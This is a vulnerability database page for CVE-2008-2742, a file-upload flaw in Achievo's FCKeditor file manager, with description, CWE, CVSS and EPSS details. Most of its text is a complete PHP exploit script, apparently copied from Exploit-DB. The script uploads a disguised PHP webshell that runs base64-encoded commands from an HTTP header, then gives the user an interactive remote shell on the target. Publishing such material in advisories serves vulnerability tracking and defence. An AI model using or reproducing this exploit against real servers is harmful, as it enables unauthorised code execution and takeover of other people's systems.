CVE-2008-2742 : Detail

CVE-2008-2742

A03-Injection
1.37%V4
Network
2008-06-17
13h00 +00:00
2017-09-28
10h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Unrestricted file upload in the mcpuk file editor (atk/attributes/fck/editor/filemanager/browser/mcpuk/connectors/php/config.php) in Achievo 1.2.0 through 1.3.2 allows remote attackers to execute arbitrary code by uploading a file with .php followed by a safe extension, then accessing it via a direct request to the file in the Achievo root directory. NOTE: this is only a vulnerability in environments that support multiple extensions, such as Apache with the mod_mime module enabled.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 5770

Publication date : 2008-06-08 22h00 +00:00
Author : EgiX
EDB Verified : Yes

<?php /* ----------------------------------------------------------------- Achievo <= 1.3.2 (fckeditor) Remote Arbitrary File Upload Exploit ----------------------------------------------------------------- author...: EgiX mail.....: n0b0d13s[at]gmail[dot]com link.....: http://www.achievo.org/ details..: works only with a specific server configuration (e.g. an Apache server with the mod_mime module installed) [-] vulnerable code in /atk/attributes/fck/editor/filemanager/browser/mcpuk/connectors/php/config.php 121. //File Area 122. $fckphp_config['ResourceAreas']['File'] =array( 123. 124. //Files(identified by extension) that may be uploaded to this area 125. 'AllowedExtensions' => array("zip","doc","xls","pdf","rtf","csv","jpg","gif","jpeg","png","avi","mpg","mpeg","swf","fla"), with a default configuration of this script, an attacker might be able to upload arbitrary files containing malicious PHP code due to multiple file extensions isn't properly checked */ error_reporting(0); set_time_limit(0); ini_set("default_socket_timeout", 5); function http_send($host, $packet) { $sock = fsockopen($host, 80); while (!$sock) { print "\n[-] No response from {$host}:80 Trying again..."; $sock = fsockopen($host, 80); } fputs($sock, $packet); while (!feof($sock)) $resp .= fread($sock, 1024); fclose($sock); return $resp; } function upload() { global $host, $path; $connector = "atk/attributes/fck/editor/filemanager/browser/mcpuk/connectors/php/connector.php"; $file_ext = array("zip", "swf", "fla", "doc", "xls", "rtf", "csv"); foreach ($file_ext as $ext) { print "\n[-] Trying to upload with .{$ext} extension..."; $data = "--12345\r\n"; $data .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"sh.php.{$ext}\"\r\n"; $data .= "Content-Type: application/octet-stream\r\n\r\n"; $data .= "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)} ?>\r\n"; $data .= "--12345--\r\n"; $packet = "POST {$path}{$connector}?Command=FileUpload&CurrentFolder={$path} HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Content-Length: ".strlen($data)."\r\n"; $packet .= "Content-Type: multipart/form-data; boundary=12345\r\n"; $packet .= "Connection: close\r\n\r\n"; $packet .= $data; preg_match("/OnUploadCompleted\((.*),'(.*)'\)/i", http_send($host, $packet), $html); if (!in_array(intval($html[1]), array(0, 201))) die("\n[-] Upload failed! (Error {$html[1]}: {$html[2]})\n"); $packet = "GET {$path}sh.php.{$ext} HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Connection: close\r\n\r\n"; $html = http_send($host, $packet); if (!eregi("print", $html) and eregi("_code_", $html)) return $ext; sleep(1); } return false; } print "\n+--------------------------------------------------------------------+"; print "\n| Achievo <= 1.3.2 (fckeditor) Arbitrary File Upload Exploit by EgiX |"; print "\n+--------------------------------------------------------------------+\n"; if ($argc < 3) { print "\nUsage......: php $argv[0] host path\n"; print "\nExample....: php $argv[0] localhost /"; print "\nExample....: php $argv[0] localhost /achievo/\n"; die(); } $host = $argv[1]; $path = $argv[2]; if (!($ext = upload())) die("\n\n[-] Exploit failed...\n"); else print "\n[-] Shell uploaded...starting it!\n"; define(STDIN, fopen("php://stdin", "r")); while(1) { print "\nachievo-shell# "; $cmd = trim(fgets(STDIN)); if ($cmd != "exit") { $packet = "GET {$path}sh.php.{$ext} HTTP/1.0\r\n"; $packet.= "Host: {$host}\r\n"; $packet.= "Cmd: ".base64_encode($cmd)."\r\n"; $packet.= "Connection: close\r\n\r\n"; $html = http_send($host, $packet); if (!eregi("_code_", $html)) die("\n[-] Exploit failed...\n"); $shell = explode("_code_", $html); print "\n{$shell[1]}"; } else break; } ?> # milw0rm.com [2008-06-09]

Products Mentioned

Configuraton 0

Achievo>>Achievo >> Version 1.2.0

Achievo>>Achievo >> Version 1.2.1

Achievo>>Achievo >> Version 1.3.0

Achievo>>Achievo >> Version 1.3.1

Achievo>>Achievo >> Version 1.3.2

References

https://www.exploit-db.com/exploits/5770
Tags : exploit, x_refsource_EXPLOIT-DB
http://secunia.com/advisories/30597
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/bid/29621
Tags : vdb-entry, x_refsource_BID